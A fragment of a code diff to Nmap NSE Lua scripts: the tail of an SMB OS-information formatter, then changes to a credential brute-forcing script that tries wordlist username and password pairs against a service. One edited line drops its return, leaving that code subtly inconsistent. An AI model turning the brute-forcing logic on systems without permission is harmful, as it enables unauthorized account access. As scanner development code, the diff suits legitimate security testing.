table.insert(osdetails, string.format("%s %s (%s %s build %s)", result['productname'], result['csdversion'], result['producttype'], result['currentversion'], result['currentbuildnumber']))
table.insert(osdetails, string.format("Installed on %s", result['installdate']))
table.insert(osdetails, string.format("Registered to %s (organization: %s)", result['registeredowner'], result['registeredorganization']))
table.insert(osdetails, string.format("Systemroot: %s", result['systemroot']))
table.insert(response, osdetails)
return stdnse.format_output(true, response)
end
return stdnse.format_output(false, "Account being used was unable to probe for information, try using an administrative account")
end

View File

@@ -137,19 +137,19 @@ local brute_cred = function(user, pass, soc)
return 1, "error -> this should never happen"
end
local function go(host, port)
action = function(host, port)
local pair, status
local user, pass, count, rbuf
local usernames, passwords
status, usernames = unpwdb.usernames()
if(not(status)) then
return false, usernames
stdnse.format_output(false, usernames)
end
status, passwords = unpwdb.passwords()
if(not(status)) then
return false, passwords
return stdnse.format_output(false, passwords)
end
pair = nil
@@ -160,7 +160,7 @@ local function go(host, port)
local soc, line, best_opt = comm.tryssl(host, port, "\n",opts)
if not soc then
return false, "Unable to open connection"
return stdnse.format_output(false, "Unable to open connection")
end
-- continually try user/pass pairs (reconnecting, if we have to)
@@ -176,7 +176,7 @@ local function go(host, port)
pass = passwords()
if(not(pass)) then
return false, "No accounts found"
return stdnse.format_output(true, "No accounts found")
end
end
@@ -199,21 +199,9 @@ local function go(host, port)
status, pair = brute_cred(user, pass, soc)
end
soc:close()
return true, pair
return pair
end
action = function(host, port)
local status, result = go(host, port)
if(not(status)) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
end
else
return result
end
end